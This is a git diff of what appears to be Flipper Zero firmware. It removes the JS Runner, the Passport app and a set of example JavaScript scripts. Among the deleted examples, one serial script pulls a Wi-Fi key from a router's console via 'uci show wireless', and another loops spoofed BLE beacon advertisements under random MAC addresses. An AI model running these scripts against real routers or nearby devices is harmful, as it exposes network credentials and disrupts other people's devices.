void gui_set_hide_status_bar(Gui* gui, bool hide);
|
||||
|
||||
/** Acquire Direct Draw lock and get Canvas instance
|
||||
*
|
||||
* This method return Canvas instance for use in monopoly mode. Direct draw lock
|
||||
|
||||
@@ -53,6 +53,7 @@ struct Gui {
|
||||
bool lockdown;
|
||||
bool lockdown_inhibit;
|
||||
bool direct_draw;
|
||||
bool hide_status_bar;
|
||||
ViewPortArray_t layers[GuiLayerMAX];
|
||||
Canvas* canvas;
|
||||
|
||||
|
||||
@@ -11,8 +11,6 @@
|
||||
|
||||
#define TAG "LoaderApplications"
|
||||
|
||||
#define JS_RUNNER_APP "JS Runner"
|
||||
|
||||
struct LoaderApplications {
|
||||
FuriThread* thread;
|
||||
void (*closed_cb)(void*);
|
||||
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
|
||||
FuriString* item_name) {
|
||||
LoaderApplicationsApp* loader_applications_app = context;
|
||||
furi_assert(loader_applications_app);
|
||||
if(furi_string_end_with(path, ".fap")) {
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
} else {
|
||||
path_extract_filename(path, item_name, false);
|
||||
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
|
||||
return true;
|
||||
}
|
||||
return flipper_application_load_name_and_icon(
|
||||
path, loader_applications_app->storage, icon_ptr, item_name);
|
||||
}
|
||||
|
||||
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
|
||||
const DialogsFileBrowserOptions browser_options = {
|
||||
.extension = ".fap|.js",
|
||||
.extension = ".fap",
|
||||
.skip_assets = true,
|
||||
.icon = &I_unknown_10px,
|
||||
.hide_ext = true,
|
||||
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
|
||||
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
|
||||
|
||||
while(loader_applications_select_app(app)) {
|
||||
if(!furi_string_end_with(app->file_path, ".js")) {
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
} else {
|
||||
loader_applications_start_app(
|
||||
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
|
||||
}
|
||||
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
|
||||
}
|
||||
|
||||
// stop loading animation
|
||||
|
||||
@@ -3,7 +3,6 @@ App(
|
||||
name="Basic settings apps bundle",
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"passport",
|
||||
"system_settings",
|
||||
"clock_settings",
|
||||
"input_settings",
|
||||
|
||||
@@ -1,15 +0,0 @@
|
||||
App(
|
||||
appid="passport",
|
||||
name="Passport",
|
||||
apptype=FlipperAppType.EXTSETTINGS,
|
||||
entry_point="passport_app",
|
||||
cdefines=["APP_PASSPORT"],
|
||||
requires=[
|
||||
"gui",
|
||||
"dolphin",
|
||||
],
|
||||
stack_size=1 * 1024,
|
||||
order=80,
|
||||
fap_libs=["assets"],
|
||||
fap_category="assets",
|
||||
)
|
||||
@@ -1,112 +0,0 @@
|
||||
#include <furi.h>
|
||||
#include <furi_hal_version.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <dolphin/dolphin.h>
|
||||
#include <dolphin/helpers/dolphin_state.h>
|
||||
|
||||
#include <assets_icons.h>
|
||||
|
||||
#define MOODS_TOTAL 3
|
||||
#define BUTTHURT_MAX 3
|
||||
|
||||
static const Icon* const portrait_happy[BUTTHURT_MAX] = {
|
||||
&I_passport_happy1_46x49,
|
||||
&I_passport_happy2_46x49,
|
||||
&I_passport_happy3_46x49};
|
||||
static const Icon* const portrait_ok[BUTTHURT_MAX] = {
|
||||
&I_passport_okay1_46x49,
|
||||
&I_passport_okay2_46x49,
|
||||
&I_passport_okay3_46x49};
|
||||
static const Icon* const portrait_bad[BUTTHURT_MAX] = {
|
||||
&I_passport_bad1_46x49,
|
||||
&I_passport_bad2_46x49,
|
||||
&I_passport_bad3_46x49};
|
||||
|
||||
static const Icon* const* portraits[MOODS_TOTAL] = {portrait_happy, portrait_ok, portrait_bad};
|
||||
|
||||
static void input_callback(InputEvent* input, void* ctx) {
|
||||
FuriSemaphore* semaphore = ctx;
|
||||
|
||||
if((input->type == InputTypeShort) && (input->key == InputKeyBack)) {
|
||||
furi_semaphore_release(semaphore);
|
||||
}
|
||||
}
|
||||
|
||||
static void render_callback(Canvas* canvas, void* ctx) {
|
||||
DolphinStats* stats = ctx;
|
||||
|
||||
char level_str[20];
|
||||
char mood_str[32];
|
||||
uint8_t mood = 0;
|
||||
|
||||
if(stats->butthurt <= 4) {
|
||||
mood = 0;
|
||||
snprintf(mood_str, 20, "Mood: Happy");
|
||||
} else if(stats->butthurt <= 9) {
|
||||
mood = 1;
|
||||
snprintf(mood_str, 20, "Mood: Ok");
|
||||
} else {
|
||||
mood = 2;
|
||||
snprintf(mood_str, 20, "Mood: Angry");
|
||||
}
|
||||
|
||||
uint32_t xp_progress = 0;
|
||||
uint32_t xp_to_levelup = dolphin_state_xp_to_levelup(stats->icounter);
|
||||
uint32_t xp_for_current_level =
|
||||
xp_to_levelup + dolphin_state_xp_above_last_levelup(stats->icounter);
|
||||
if(stats->level == 3) {
|
||||
xp_progress = 0;
|
||||
} else {
|
||||
xp_progress = xp_to_levelup * 64 / xp_for_current_level;
|
||||
}
|
||||
|
||||
// multipass
|
||||
canvas_draw_icon(canvas, 0, 0, &I_passport_left_6x46);
|
||||
canvas_draw_icon(canvas, 0, 46, &I_passport_bottom_128x18);
|
||||
canvas_draw_line(canvas, 6, 0, 125, 0);
|
||||
canvas_draw_line(canvas, 127, 2, 127, 47);
|
||||
canvas_draw_dot(canvas, 126, 1);
|
||||
|
||||
// portrait
|
||||
furi_assert((stats->level > 0) && (stats->level <= 3));
|
||||
canvas_draw_icon(canvas, 9, 5, portraits[mood][stats->level - 1]);
|
||||
canvas_draw_line(canvas, 58, 16, 123, 16);
|
||||
canvas_draw_line(canvas, 58, 30, 123, 30);
|
||||
canvas_draw_line(canvas, 58, 44, 123, 44);
|
||||
|
||||
const char* my_name = furi_hal_version_get_name_ptr();
|
||||
snprintf(level_str, 20, "Level: %hu", stats->level);
|
||||
canvas_draw_str(canvas, 58, 12, my_name ? my_name : "Unknown");
|
||||
canvas_draw_str(canvas, 58, 26, mood_str);
|
||||
canvas_draw_str(canvas, 58, 40, level_str);
|
||||
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
canvas_draw_box(canvas, 123 - xp_progress, 47, xp_progress + 1, 6);
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
canvas_draw_line(canvas, 123, 47, 123, 52);
|
||||
}
|
||||
|
||||
int32_t passport_app(void* p) {
|
||||
UNUSED(p);
|
||||
FuriSemaphore* semaphore = furi_semaphore_alloc(1, 0);
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
|
||||
Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN);
|
||||
DolphinStats stats = dolphin_stats(dolphin);
|
||||
furi_record_close(RECORD_DOLPHIN);
|
||||
view_port_draw_callback_set(view_port, render_callback, &stats);
|
||||
view_port_input_callback_set(view_port, input_callback, semaphore);
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
view_port_update(view_port);
|
||||
|
||||
furi_check(furi_semaphore_acquire(semaphore, FuriWaitForever) == FuriStatusOk);
|
||||
|
||||
gui_remove_view_port(gui, view_port);
|
||||
view_port_free(view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_semaphore_free(semaphore);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -4,7 +4,6 @@ App(
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"updater_app",
|
||||
"js_app",
|
||||
# "archive",
|
||||
],
|
||||
)
|
||||
|
||||
@@ -1,281 +0,0 @@
|
||||
App(
|
||||
appid="js_app",
|
||||
name="JS Runner",
|
||||
apptype=FlipperAppType.SYSTEM,
|
||||
entry_point="js_app",
|
||||
stack_size=2 * 1024,
|
||||
resources="examples",
|
||||
order=10,
|
||||
provides=["js_app_start"],
|
||||
sources=[
|
||||
"js_app.c",
|
||||
"js_modules.c",
|
||||
"js_thread.c",
|
||||
"js_value.c",
|
||||
"plugin_api/app_api_table.cpp",
|
||||
"views/console_view.c",
|
||||
"modules/js_flipper.c",
|
||||
"modules/js_tests.c",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_app_start",
|
||||
apptype=FlipperAppType.STARTUP,
|
||||
entry_point="js_app_on_system_start",
|
||||
order=110,
|
||||
sources=["js_app.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_event_loop",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_event_loop_ep",
|
||||
requires=["js_app"],
|
||||
sources=[
|
||||
"modules/js_event_loop/js_event_loop.c",
|
||||
"modules/js_event_loop/js_event_loop_api_table.cpp",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/js_gui.c", "modules/js_gui/js_gui_api_table.cpp"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__loading",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_loading_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/loading.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__empty_screen",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_empty_screen_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/empty_screen.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__submenu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_submenu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/submenu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__text_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_text_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/text_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__number_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_number_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/number_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__button_panel",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_button_panel_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/button_panel.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__popup",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_popup_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/popup.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__button_menu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_button_menu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/button_menu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__menu",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_menu_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/menu.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__vi_list",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_vi_list_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/vi_list.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__byte_input",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_byte_input_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/byte_input.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__text_box",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_text_box_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/text_box.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__dialog",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_dialog_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/dialog.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__file_picker",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_file_picker_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/file_picker.c"],
|
||||
fap_libs=["assets"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__widget",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_view_widget_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/widget.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gui__icon",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gui_icon_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gui/icon.c"],
|
||||
fap_libs=["assets"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_notification",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_notification_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_notification.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_badusb",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_badusb_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_badusb.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_serial",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_serial_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_serial.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_gpio",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_gpio_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_gpio.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_math",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_math_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_math.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_storage",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_storage_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_storage.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_vgm",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_vgm_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_subghz",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_subghz_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_subghz/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_infrared",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_infrared_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_infrared/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_blebeacon",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_blebeacon_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_blebeacon.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_usbdisk",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_usbdisk_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_usbdisk/*.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_i2c",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_i2c_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_i2c.c"],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="js_spi",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="js_spi_ep",
|
||||
requires=["js_app"],
|
||||
sources=["modules/js_spi.c"],
|
||||
)
|
||||
@@ -1,8 +0,0 @@
|
||||
let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
|
||||
print("len =", arr_1.buffer.byteLength);
|
||||
|
||||
let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6));
|
||||
print("slice len =", arr_2.buffer.byteLength);
|
||||
for (let i = 0; i < arr_2.buffer.byteLength; i++) {
|
||||
print(arr_2[i]);
|
||||
}
|
||||
@@ -1,20 +0,0 @@
|
||||
let serial = require("serial");
|
||||
serial.setup("lpuart", 115200);
|
||||
|
||||
// serial.write("\n");
|
||||
serial.write([0x0a]);
|
||||
let console_resp = serial.expect("# ", 1000);
|
||||
if (console_resp === undefined) {
|
||||
print("No CLI response");
|
||||
} else {
|
||||
serial.write("uci\n");
|
||||
let uci_state = serial.expect([": not found", "Usage: "]);
|
||||
if (uci_state === 1) {
|
||||
serial.expect("# ");
|
||||
serial.write("uci show wireless\n");
|
||||
serial.expect(".key=");
|
||||
print("key:", serial.readln());
|
||||
} else {
|
||||
print("uci cmd not found");
|
||||
}
|
||||
}
|
||||
@@ -1,73 +0,0 @@
|
||||
let badusb = require("badusb");
|
||||
let notify = require("notification");
|
||||
let flipper = require("flipper");
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let dialog = require("gui/dialog");
|
||||
|
||||
let views = {
|
||||
dialog: dialog.makeWith({
|
||||
header: "BadUSB demo",
|
||||
text: "Press OK to start",
|
||||
center: "Start",
|
||||
}),
|
||||
};
|
||||
|
||||
badusb.setup({
|
||||
vid: 0xAAAA,
|
||||
pid: 0xBBBB,
|
||||
mfrName: "Flipper",
|
||||
prodName: "Zero",
|
||||
layoutPath: "/ext/badusb/assets/layouts/en-US.kl"
|
||||
});
|
||||
|
||||
eventLoop.subscribe(views.dialog.input, function (_sub, button, eventLoop, gui) {
|
||||
if (button !== "center")
|
||||
return;
|
||||
|
||||
gui.viewDispatcher.sendTo("back");
|
||||
|
||||
if (badusb.isConnected()) {
|
||||
notify.blink("green", "short");
|
||||
print("USB is connected");
|
||||
|
||||
badusb.println("Hello, world!");
|
||||
|
||||
badusb.press("CTRL", "a");
|
||||
badusb.press("CTRL", "c");
|
||||
badusb.press("DOWN");
|
||||
delay(1000);
|
||||
badusb.press("CTRL", "v");
|
||||
delay(1000);
|
||||
badusb.press("CTRL", "v");
|
||||
|
||||
badusb.println("1234", 200);
|
||||
|
||||
badusb.println("Flipper Model: " + flipper.getModel());
|
||||
badusb.println("Flipper Name: " + flipper.getName());
|
||||
badusb.println("Battery level: " + flipper.getBatteryCharge().toString() + "%");
|
||||
|
||||
// Alt+Numpad method works only on Windows!!!
|
||||
badusb.altPrintln("This was printed with Alt+Numpad method!");
|
||||
|
||||
// There's also badusb.print() and badusb.altPrint()
|
||||
// which don't add the return at the end
|
||||
|
||||
notify.success();
|
||||
} else {
|
||||
print("USB not connected");
|
||||
notify.error();
|
||||
}
|
||||
|
||||
// Optional, but allows to unlock usb interface to switch profile
|
||||
badusb.quit();
|
||||
|
||||
eventLoop.stop();
|
||||
}, eventLoop, gui);
|
||||
|
||||
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _item, eventLoop) {
|
||||
eventLoop.stop();
|
||||
}, eventLoop);
|
||||
|
||||
gui.viewDispatcher.switchTo(views.dialog);
|
||||
eventLoop.run();
|
||||
@@ -1,62 +0,0 @@
|
||||
// Script cannot work without blebeacon module so check before
|
||||
checkSdkFeatures(["blebeacon"]);
|
||||
|
||||
let blebeacon = require("blebeacon");
|
||||
|
||||
// Stop if previous background beacon is active
|
||||
if (blebeacon.isActive()) {
|
||||
blebeacon.stop();
|
||||
}
|
||||
|
||||
// Make sure it resets at script exit, true will keep advertising in background
|
||||
// This is false by default, can be omitted
|
||||
blebeacon.keepAlive(false);
|
||||
|
||||
|
||||
let math = require("math");
|
||||
|
||||
let currentIndex = 0;
|
||||
let watchValues = [
|
||||
0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
|
||||
0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15,
|
||||
0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E,
|
||||
0x20, 0xEC, 0xEF
|
||||
];
|
||||
|
||||
function generateRandomMac() {
|
||||
let mac = [];
|
||||
for (let i = 0; i < 6; i++) {
|
||||
mac.push(math.floor(math.random() * 256));
|
||||
}
|
||||
return Uint8Array(mac);
|
||||
}
|
||||
|
||||
function sendRandomModelAdvertisement() {
|
||||
let model = watchValues[currentIndex];
|
||||
|
||||
let packet = [
|
||||
14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43,
|
||||
model
|
||||
];
|
||||
|
||||
let intervalMs = 50;
|
||||
|
||||
// Power level, min interval and max interval are optional
|
||||
blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3);
|
||||
|
||||
blebeacon.setData(Uint8Array(packet));
|
||||
|
||||
blebeacon.start();
|
||||
|
||||
print("Sent data for model ID " + model.toString());
|
||||
|
||||
currentIndex = (currentIndex + 1) % watchValues.length;
|
||||
|
||||
delay(intervalMs);
|
||||
|
||||
blebeacon.stop();
|
||||
}
|
||||
|
||||
while (true) {
|
||||
sendRandomModelAdvertisement();
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
print("print", 1);
|
||||
console.log("log", 2);
|
||||
console.warn("warn", 3);
|
||||
console.error("error", 4);
|
||||
console.debug("debug", 5);
|
||||
@@ -1,9 +0,0 @@
|
||||
print("start");
|
||||
delay(1000)
|
||||
print("1");
|
||||
delay(1000)
|
||||
print("2");
|
||||
delay(1000)
|
||||
print("3");
|
||||
delay(1000)
|
||||
print("end");
|
||||
@@ -1,25 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
|
||||
// print a string after 1337 milliseconds
|
||||
eventLoop.subscribe(eventLoop.timer("oneshot", 1337), function (_subscription, _item) {
|
||||
print("Hi after 1337 ms");
|
||||
});
|
||||
|
||||
// count up to 5 with a delay of 100ms between increments
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, counter) {
|
||||
print("Counter two:", counter);
|
||||
if (counter === 5)
|
||||
subscription.cancel();
|
||||
return [counter + 1];
|
||||
}, 0);
|
||||
|
||||
// count up to 15 with a delay of 100ms between increments
|
||||
// and stop the program when the count reaches 15
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, event_loop, counter) {
|
||||
print("Counter one:", counter);
|
||||
if (counter === 15)
|
||||
event_loop.stop();
|
||||
return [event_loop, counter + 1];
|
||||
}, eventLoop, 0);
|
||||
|
||||
eventLoop.run();
|
||||
@@ -1,65 +0,0 @@
|
||||
let eventLoop = require("event_loop");
|
||||
let gpio = require("gpio");
|
||||
|
||||
// initialize pins
|
||||
let led = gpio.get("pc3"); // same as `gpio.get(7)`
|
||||
let led2 = gpio.get("pa7"); // same as `gpio.get(2)`
|
||||
let pot = gpio.get("pc0"); // same as `gpio.get(16)`
|
||||
let button = gpio.get("pc1"); // same as `gpio.get(15)`
|
||||
led.init({ direction: "out", outMode: "push_pull" });
|
||||
pot.init({ direction: "in", inMode: "analog" });
|
||||
button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
|
||||
|
||||
// blink led
|
||||
print("Commencing blinking (PC3)");
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 1000), function (_, _item, led, state) {
|
||||
led.write(state);
|
||||
return [led, !state];
|
||||
}, led, true);
|
||||
|
||||
// cycle led pwm
|
||||
print("Commencing PWM (PA7)");
|
||||
eventLoop.subscribe(eventLoop.timer("periodic", 10), function (_, _item, led2, state) {
|
||||
led2.pwmWrite(10000, state);
|
||||
return [led2, (state + 1) % 101];
|
||||
}, led2, 0);
|
||||
|
||||
// read potentiometer when button is pressed
|
||||
print("Press the button (PC1)");
|
||||
eventLoop.subscribe(button.interrupt(), function (_, _item, pot) {
|
||||
print("PC0 is at", pot.readAnalog(), "mV");
|
||||
}, pot);
|
||||
|
||||
// the program will just exit unless this is here
|
||||
eventLoop.run();
|
||||
|
||||
// possible pins https://docs.flipper.net/gpio-and-modules#miFsS
|
||||
// "PA7" aka 2
|
||||
// "PA6" aka 3
|
||||
// "PA4" aka 4
|
||||
// "PB3" aka 5
|
||||
// "PB2" aka 6
|
||||
// "PC3" aka 7
|
||||
// "PA14" aka 10
|
||||
// "PA13" aka 12
|
||||
// "PB6" aka 13
|
||||
// "PB7" aka 14
|
||||
// "PC1" aka 15
|
||||
// "PC0" aka 16
|
||||
// "PB14" aka 17
|
||||
|
||||
// possible modes
|
||||
// { direction: "out", outMode: "push_pull" }
|
||||
// { direction: "out", outMode: "open_drain" }
|
||||
// { direction: "out", outMode: "push_pull", altFn: true }
|
||||
// { direction: "out", outMode: "open_drain", altFn: true }
|
||||
// { direction: "in", inMode: "analog" }
|
||||
// { direction: "in", inMode: "plain_digital" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "rising" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "falling" }
|
||||
// { direction: "in", inMode: "interrupt", edge: "both" }
|
||||
// { direction: "in", inMode: "event", edge: "rising" }
|
||||
// { direction: "in", inMode: "event", edge: "falling" }
|
||||
// { direction: "in", inMode: "event", edge: "both" }
|
||||
// all variants support an optional `pull` field which can either be undefined,
|
||||
// "up" or "down"
|
||||
@@ -1,265 +0,0 @@
|
||||
// import modules
|
||||
let eventLoop = require("event_loop");
|
||||
let gui = require("gui");
|
||||
let loadingView = require("gui/loading");
|
||||
let submenuView = require("gui/submenu");
|
||||
let emptyView = require("gui/empty_screen");
|
||||
let textInputView = require("gui/text_input");
|
||||
let byteInputView = require("gui/byte_input");
|
||||
let textBoxView = require("gui/text_box");
|
||||
let dialogView = require("gui/dialog");
|
||||
let filePicker = require("gui/file_picker");
|
||||
let buttonMenuView = require("gui/button_menu");
|
||||
let buttonPanelView = require("gui/button_panel");
|
||||
let menuView = require("gui/menu");
|
||||
let numberInputView = require("gui/number_input");
|
||||
let popupView = require("gui/popup");
|
||||
let viListView = require("gui/vi_list");
|
||||
let widget = require("gui/widget");
|
||||
let icon = require("gui/icon");
|
||||
let flipper = require("flipper");
|
||||
let math = require("math");
|
||||
|
||||
// declare clock widget children
|
||||
let cuteDolphinWithWatch = icon.getBuiltin("DolphinWait_59x54");
|
||||
let jsLogo = icon.getBuiltin("js_script_10px");
|
||||
let stopwatchWidgetElements = [
|
||||
{ element: "string", x: 67, y: 44, align: "bl", font: "big_numbers", text: "00 00" },
|
||||
{ element: "string", x: 77, y: 22, align: "bl", font: "primary", text: "Stopwatch" },
|
||||
{ element: "rect", x: 64, y: 27, w: 28, h: 20, radius: 3, fill: false },
|
||||
{ element: "rect", x: 100, y: 27, w: 28, h: 20, radius: 3, fill: false },
|
||||
{ element: "icon", x: 0, y: 5, iconData: cuteDolphinWithWatch },
|
||||
{ element: "icon", x: 64, y: 13, iconData: jsLogo },
|
||||
{ element: "button", button: "right", text: "Back" },
|
||||
];
|
||||
|
||||
// icons for the button panel
|
||||
let offIcons = [icon.getBuiltin("off_19x20"), icon.getBuiltin("off_hover_19x20")];
|
||||
let powerIcons = [icon.getBuiltin("power_19x20"), icon.getBuiltin("power_hover_19x20")];
|
||||
let settingsIcon = icon.getBuiltin("Settings_14");
|
||||
|
||||
// declare view instances
|
||||
let views = {
|
||||
loading: loadingView.make(),
|
||||
empty: emptyView.make(),
|
||||
keyboard: textInputView.makeWith({
|
||||
header: "Enter your name",
|
||||
minLength: 0,
|
||||
maxLength: 32,
|
||||
defaultText: flipper.getName(),
|
||||
defaultTextClear: true,
|
||||
}),
|
||||
helloDialog: dialogView.make(),
|
||||
bytekb: byteInputView.makeWith({
|
||||
header: "Look ma, I'm a header text!",
|
||||
length: 8,
|
||||
defaultData: Uint8Array([0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
|
||||
}),
|
||||
longText: textBoxView.makeWith({
|
||||
text: "This is a very long string that demonstrates the TextBox view. Use the D-Pad to scroll backwards and forwards.\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse rhoncus est malesuada quam egestas ultrices. Maecenas non eros a nulla eleifend vulputate et ut risus. Quisque in mauris mattis, venenatis risus eget, aliquam diam. Fusce pretium feugiat mauris, ut faucibus ex volutpat in. Phasellus volutpat ex sed gravida consectetur. Aliquam sed lectus feugiat, tristique lectus et, bibendum lacus. Ut sit amet augue eu sapien elementum aliquam quis vitae tortor. Vestibulum quis commodo odio. In elementum fermentum massa, eu pellentesque nibh cursus at. Integer eleifend lacus nec purus elementum sodales. Nulla elementum neque urna, non vulputate massa semper sed. Fusce ut nisi vitae dui blandit congue pretium vitae turpis.",
|
||||
}),
|
||||
stopwatchWidget: widget.makeWith({}, stopwatchWidgetElements),
|
||||
buttonMenu: buttonMenuView.makeWith({
|
||||
header: "Header"
|
||||
}, [
|
||||
{ type: "common", label: "Test" },
|
||||
{ type: "control", label: "Test2" },
|
||||
]),
|
||||
buttonPanel: buttonPanelView.makeWith({
|
||||
matrixSizeX: 2,
|
||||
